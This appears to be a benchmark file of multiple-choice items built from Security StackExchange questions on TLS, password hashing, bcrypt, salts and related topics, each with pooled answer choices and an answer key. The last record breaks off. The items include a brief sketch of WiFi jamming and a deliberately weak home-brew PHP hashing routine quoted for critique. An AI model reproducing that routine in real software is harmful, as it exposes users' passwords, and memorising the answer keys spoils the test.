{"id": "cybersecurity_20803", "domain": "cybersecurity", "question_title": "How does SSL/TLS work?", "question_body": "How does SSL work? I just realised we don't actually have a definitive answer here, and it's something worth covering. I'd like to see details in terms of: A high level description of the protocol. How the key exchange works. How authenticity, integrity and confidentiality are enforced. What the purpose of having CAs is, and how they issue certificates. Details of any important technologies and standards (e.g. PKCS) that are involved.", "question_score": 1300, "question_tags": ["tls", "certificates", "public-key-infrastructure"], "choices": {"A": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "B": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "C": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "D": "How does HTTPS work? HTTPS is based on public/private-key cryptography . This basically means that there is a key pair: The public key is used for encryption and the secret private key is required for decryption. A certificate is basically a public key with a label identifying the owner. So when your browser connects to an HTTPS server, the server will answer with its certificate. The browser checks if the certificate is valid : the owner information need to match the server name that the user requested. the certificate needs to be signed by a trusted certification authority. If one..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/20803/how-does-ssl-tls-work"} {"id": "cybersecurity_211", "domain": "cybersecurity", "question_title": "How to securely hash passwords?", "question_body": "If I hash passwords before storing them in my database, is that sufficient to prevent them being recovered by anyone? I should point out that this relates only to retrieval directly from the database, and not any other type of attack, such as bruteforcing the login page of the application, keylogger on the client, and of course rubberhose cryptanalysis (or nowadays we should call it \" Chocolate Cryptanalysis \"). Of course any form of hash will not prevent those attacks.", "question_score": 947, "question_tags": ["appsec", "cryptography", "passwords", "hash"], "choices": {"A": "Google uses BSSID information from your WLAN Access Point to get an approximation of where you are located, even with GPS and WiFi turned off . Taken from “How does Google Maps estimate my location without GPS?” : Google and others like Apple and Skyhook build a Database which links WLAN BSSIDs to a geographic location. A BSSID is like the MAC address of a access point that gets broadcasted by that access point. It is therefore \"public viewable\" if the BSSID broadcast is enabled, which is the default for most access points. The BSSID operates on a lower layer...", "B": "There's a lot of ways you can attack a WiFi without knowing any passwords: Physical layer attacks: Simply jam the frequency spectrum with your own signal. That signal might just be noise, but it might also be a WiFi of your own under heavy load, with the nodes in that WiFi being configured not to play nice with others. (depending on the WiFi chipset, that can be extremely easy) Spectrum can only be used once! Tool : noise source (e.g. Gunn Diode, SDR device ), or normal AP Electromagnetic sledgehammer: EMI gun. Take microwave oven oscillator, attach directive antenna, pray...", "C": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "D": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords"} {"id": "cybersecurity_4781", "domain": "cybersecurity", "question_title": "Do any security experts recommend bcrypt for password storage?", "question_body": "On the surface bcrypt, an 11 year old security algorithm designed for hashing passwords by Niels Provos and David Mazieres, which is based on the initialization function used in the NIST approved blowfish algorithm seems almost too good to be true. It is not vulnerable to rainbow tables (since creating them is too expensive) and not even vulnerable to brute force attacks. However 11 years later, many are still using SHA2x with salt for storing password hashes and bcrypt is not widely adopted. What is the NIST recommendation with regards to bcrypt (and password hashing in general)? What do prominent security experts (such as Arjen Lenstra and so on) say about using bcrypt for password hashing?", "question_score": 674, "question_tags": ["passwords", "cryptography", "hash", "bcrypt"], "choices": {"A": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/4781/do-any-security-experts-recommend-bcrypt-for-password-storage"} {"id": "cybersecurity_17421", "domain": "cybersecurity", "question_title": "How to store salt?", "question_body": "If you expect to store user password securely, you need to do at least the following: $pwd=hash(hash($password) + salt) Then, you store $pwd in your system instead of the real password. I have seen some cases where $pwd contains the salt itself. I wonder whether the salt should be stored separately, or is it OK if an attacker gets the hashed value and the salt at the same time. Why?", "question_score": 632, "question_tags": ["passwords", "hash", "salt"], "choices": {"A": "There is no substantial security benefit to disallowing pasted passwords; on the contrary it is likely to weaken security by discouraging the use of password managers to generate and autofill randomized passwords. While some password managers are capable of overriding pasting restrictions, the point still stands that users should not be forced to type their password by hand. Excerpt from a relevant WIRED article : Websites, Please Stop Blocking Password Managers. It’s 2015 But what’s crazy is that, in 2015, some websites are intentionally disabling a feature that would allow you to use stronger passwords more easily—and many are doing...", "B": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "C": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "D": "This combination is called a Secure attention key . The Windows kernel is \"wired\" to notify Winlogon and nobody else about this combination. In this way, when you press Ctrl + Alt + Del , you can be sure † that you're typing your password in the real login form and not some other fake process trying to steal your password. For example, an application which looks exactly like the windows login. In Linux, there's a loosely-defined equivalent which is Ctrl + Alt + Pause . However, it doesn't exactly do the same thing. It kills everything except where you're..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/17421/how-to-store-salt"} {"id": "cybersecurity_4704", "domain": "cybersecurity", "question_title": "How does changing your password every 90 days increase security?", "question_body": "Where I work I'm forced to change my password every 90 days. This security measure has been in place in many organizations for as long as I can remember. Is there a specific security vulnerability or attack that this is designed to counter, or are we just following the procedure because \"it's the way it has always been done\"? It seems like changing my password would only make me more secure if someone is already in my account . This question was IT Security Question of the Week . Read the Jul 15, 2011 blog entry for more details or submit your own Question of the Week.", "question_score": 625, "question_tags": ["authentication", "passwords", "password-management"], "choices": {"A": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "B": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "C": "There is no substantial security benefit to disallowing pasted passwords; on the contrary it is likely to weaken security by discouraging the use of password managers to generate and autofill randomized passwords. While some password managers are capable of overriding pasting restrictions, the point still stands that users should not be forced to type their password by hand. Excerpt from a relevant WIRED article : Websites, Please Stop Blocking Password Managers. It’s 2015 But what’s crazy is that, in 2015, some websites are intentionally disabling a feature that would allow you to use stronger passwords more easily—and many are doing...", "D": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/4704/how-does-changing-your-password-every-90-days-increase-security"} {"id": "cybersecurity_214814", "domain": "cybersecurity", "question_title": "Why can I log in to my Facebook account with a misspelled email/password?", "question_body": "I've been playing around with different login forms online lately to see how they work. One of them was the Facebook login form. When I logged out of my account my email and password were autocompleted by my browser. Then I decided to misspell my email and see what would happen if I tried to log in. To my surprise I logged in with no problem after changing my email from example@gmail.com to example@gmail.comm . I then started experimenting with different spelling errors and I had no problem logging in as long as it was not too far off my real email. I tried changing the domain name as well example@gmadil.coom , my email prefix ezfxample@gmail.com etc. Then I also tried misspelling my password and as long as it was not too far off my real password I could log in no problem (with the password it worked when adding one random letter before or after the real password, but not when adding a letter in the middle of it). I also checked the actual data sent in the request by looking at it in Chrome DevTools and in fact it was the wrong data sent. How can this be? Should I be worried about my account's security?", "question_score": 561, "question_tags": ["authentication", "account-security", "facebook"], "choices": {"A": "If you are concerned about the privacy of your password and thus your account (which should be the case), you should try to educate the customer service. The developer FAQ from the public shaming project for this kind of recklessness lists a few good points and is worth a read. Also, you should point out that you feel insecure and lose trust in the company and will make them liable for any problems that stem from this no-go. You should also document that behaviour and try to get a written quote on their point of view if they do not...", "B": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "C": "Because people are lazy and/or incompetent. And, well, you know, the Internet is full of chimpanzees . I would argue that all security questions are bad, but using the mother's maiden name is exceptionally bad: At least in Sweden, I can find out anyone's maiden name just with a simple call to the tax office. It is literally public information. It's 2018, and fairly common for couples to adopt the bride's name when getting married. Your mothers maiden name is then your surname. Great. Luis Casillas rightly adds: There are dozens of countries, with billions of inhabitants between them, where...", "D": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/214814/why-can-i-log-in-to-my-facebook-account-with-a-misspelled-email-password"} {"id": "cybersecurity_25585", "domain": "cybersecurity", "question_title": "Is my developer's home-brew password security right or wrong, and why?", "question_body": "A developer, let's call him 'Dave', insists on using home-brew scripts for password security. See Dave's proposal below. His team spent months adopting an industry standard protocol using Bcrypt . The software and methods in that protocol are not new, and are based on tried and tested implementations that support millions of users. This protocol is a set of specifications detailing the current state of the art, software components used, and how they should be implemented. The implementation is based on a known-good implementation. Dave argued against this protocol from day one. His reasoning was that algorithms like Bcrypt, because they are published, have greater visibility to hackers, and are more likely to be targeted for attack. He also argued that the protocol itself was too bulky and difficult to maintain, but I believe Dave's primary hangup was the fact that Bcrypt is published. What I'm hoping to accomplish by sharing his code here, is to generate consensus on: Why home-brew is not a good idea, and What specifically is wrong with his script /** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, random # $time = date('mdYHis'); $rand = mt_rand().'\\n'; // crypt $crypt = crypt($user.$time.$rand); // hash function hash_it($string1, $string2) { $pass = md5($string1); $nt = substr($pass,0,8); $th = substr($pass,8,8); $ur = substr($pass,16,8); $ps = substr($pass,24,8); $hash = 'H'.sha1($string2.$ps.$ur.$nt.$th); return $hash } $hash = hash_it($password, $crypt);", "question_score": 545, "question_tags": ["passwords", "hash", "bcrypt", "algorithm"], "choices": {"A": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "B": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "C": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "D": "Yep, that's a big problem, especially if that was your old password (i.e. not a newly assigned one). Technically, the password might be stored under reversible encryption rather than plain text, but that's nearly as bad. The absolute minimum standard should be a salted hash - anything less and anybody with access to the auth database who wants to can use an online rainbow table to get back the plaintext passwords in moments - but single-iteration secure hash algorithm (SHA) functions are still easy to brute force with a GPU (they're designed to be fast; a high-end GPU can compute..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/25585/is-my-developers-home-brew-password-security-right-or-wrong-and-why"} {"id": "cybersecurity_5096", "domain": "cybersecurity", "question_title": "RSA vs. DSA for SSH authentication keys", "question_body": "When generating SSH authentication keys on a Unix/Linux system with ssh-keygen , you're given the choice of creating a RSA or DSA key pair (using -t type ). What is the difference between RSA and DSA keys? What would lead someone to choose one over the other?", "question_score": 513, "question_tags": ["encryption", "cryptography", "authentication", "key-management", "ssh"], "choices": {"A": "There's a lot of ways you can attack a WiFi without knowing any passwords: Physical layer attacks: Simply jam the frequency spectrum with your own signal. That signal might just be noise, but it might also be a WiFi of your own under heavy load, with the nodes in that WiFi being configured not to play nice with others. (depending on the WiFi chipset, that can be extremely easy) Spectrum can only be used once! Tool : noise source (e.g. Gunn Diode, SDR device ), or normal AP Electromagnetic sledgehammer: EMI gun. Take microwave oven oscillator, attach directive antenna, pray...", "B": "According to Google , the difference is with handling referrer information when clicking on an ad. After a note from AviD and with the help of Xander we conducted some tests and here are the results 1. Clicking on an ad: https://google.com : Google will take you to an HTTP redirection page where they'd append your search query to the referrer information. https://encrypted.google.com : If the advertiser uses HTTP, Google will not let the advertiser know about your query. If the advertiser uses HTTPS, they will receive the referrer information normally (including your search query). 2. Clicking on a normal...", "C": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "D": "Go with RSA. DSA is faster for signature generation but slower for validation, slower when encrypting but faster when decrypting and security can be considered equivalent compared to an RSA key of equal key length. That's the punch line, now some justification. The security of the RSA algorithm is based on the fact that factorization of large integers is known to be \"difficult\", whereas DSA security is based on the discrete logarithm problem. Today the fastest known algorithm for factoring large integers is the General Number Field Sieve , also the fastest algorithm to solve the discrete logarithm problem in..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/5096/rsa-vs-dsa-for-ssh-authentication-keys"} {"id": "cybersecurity_29019", "domain": "cybersecurity", "question_title": "Are passwords stored in memory safe?", "question_body": "I just realized that, in any language, when you save a password in a variable, it is stored as plain text in the memory. I think the OS does its job and forbids processes from accessing each other's allocated memory. But I also think this is somehow bypassable. So I wonder if it is really safe and if there is a safer way to store passwords to ensure that foreign processes can't access them. I didn't specify the OS or the language because my question is quite general. This is rather a computer literacy question than a specific purpose one.", "question_score": 476, "question_tags": ["passwords", "operating-systems", "memory"], "choices": {"A": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "B": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "C": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "D": "Google Authenticator supports both the HOTP and TOTP algorithms for generating one-time passwords. With HOTP, the server and client share a secret value and a counter, which are used to compute a one time password independently on both sides. Whenever a password is generated and used, the counter is incremented on both sides, allowing the server and client to remain in sync. TOTP essentially uses the same algorithm as HOTP with one major difference. The counter used in TOTP is replaced by the current time. The client and server remain in sync as long as the system times remain the..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/29019/are-passwords-stored-in-memory-safe"} {"id": "cybersecurity_988", "domain": "cybersecurity", "question_title": "Is BASIC-Auth secure if done over HTTPS?", "question_body": "I'm making a REST-API and it's straight forward to do BASIC auth login. Then let HTTPS secure the connection so the password is protected when the api is used. Can this be considered secure?", "question_score": 457, "question_tags": ["tls", "authentication", "web-application", "http", "http-basic-auth"], "choices": {"A": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "B": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "C": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "D": "\"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account.\" The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa. It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/988/is-basic-auth-secure-if-done-over-https"} {"id": "cybersecurity_46569", "domain": "cybersecurity", "question_title": "Is it bad practice to use your real name online?", "question_body": "On some accounts I use my real name on-line (Google+/Facebook/Wikipedia/personal blog), others (Q&A/Gaming) I use an alias. My question is: Security and privacy wise, what can people do with my real name? What are the dangers of using your real name on-line.", "question_score": 453, "question_tags": ["privacy", "anonymity", "opsec", "persec"], "choices": {"A": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "B": "Needing to install things is kind of the point of needing the laptop, so it makes perfect sense that they want to install Office, AV, and certificates. There are no surprises there. To do that, they need admin access, but I would want to revoke that access once they were done. I would want to know the list of everything they want to install, and if they have central control over the AV (and if they do, why they want that). If your worry is that they might install malware, then download a Live CD of an anti-malware program and...", "C": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "D": "Loading that page loads https://www.googleadservices.com/pagead/conversion.js https://www.googletagmanager.com/gtm.js?id=GTM-WPPRGM https://stats.g.doubleclick.net/dc.js The reason Google can track you is that the website shares details of your visit with them - in this case via loading Google JavaScript code for their ads service. *To expand on this - The Google ad code will use a cookie to track you. But even if it didn't there are browser fingerprinting mechanisms which in most cases can correctly identify a user's machine even after a full browser cache / history clear. When you visit a site with ads a request is made to the ad providers server. This sends..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/46569/is-it-bad-practice-to-use-your-real-name-online"} {"id": "cybersecurity_6290", "domain": "cybersecurity", "question_title": "How is it possible that people observing an HTTPS connection being established wouldn't know how to decrypt it?", "question_body": "I've often heard it said that if you're logging in to a website - a bank, GMail, whatever - via HTTPS, that the information you transmit is safe from snooping by 3rd parties. I've always been a little confused as to how this could be possible. Sure, I understand fairly well (I think) the idea of encryption, and that without knowing the encryption key people would have a hard time breaking the encryption. However, my understanding is that when an HTTPS connection is established, the encryption key is \"discussed\" between the various computers involved before the encrypted connection is established. There may be many factors involved in choosing an encryption key, and I know it has to do with an SSL certificate which may come from some other server. I do not know the exact mechanism. However, it seems to me that if the encryption key must be negotiated between the server and the client before the encryption process can begin, then any attacker with access to the network traffic would also be able to monitor the negotiation for the key, and would therefore know the key used to establish the encryption. This would make the encryption useless if it were true. It's obvious that this isn't the case, because HTTPS would have no value if it were, and it's widely accepted that HTTPS is a fairly effective security measure. However, I don't get why it isn't true. In short: how is it possible for a client and server to establish an encrypted connection over HTTPS without revealing the encryption key to any observers?", "question_score": 423, "question_tags": ["encryption", "tls", "cryptography", "man-in-the-middle", "key-exchange"], "choices": {"A": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "B": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "C": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "D": "In some circumstances, peppers can be helpful. As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers . The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID. You need to store passwords securely in the database, and come up..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/6290/how-is-it-possible-that-people-observing-an-https-connection-being-established-w"} {"id": "cybersecurity_29988", "domain": "cybersecurity", "question_title": "What is certificate pinning?", "question_body": "I'm superficially familiar with SSL and what certs do. Recently I saw some discussion on cert pinning but there wasn't a definition. A DDG search didn't turn up anything useful. What is certificate pinning?", "question_score": 373, "question_tags": ["tls", "certificates", "public-key-infrastructure", "certificate-pinning"], "choices": {"A": "This is an active area of research. I happen to have done some work in this area, so I'll share what I can about the basic idea (this work was with industry partners and I can't share the secret details :) ). The tl;dr is that it's often possible to identify an encrypted traffic stream as carrying video, and it's often possible to estimate its resolution - but it's complicated, and not always accurate. There are a lot of people working on ways to do this more consistently and more accurately. Video traffic has some specific characteristics that can distinguish...", "B": "According to Google , the difference is with 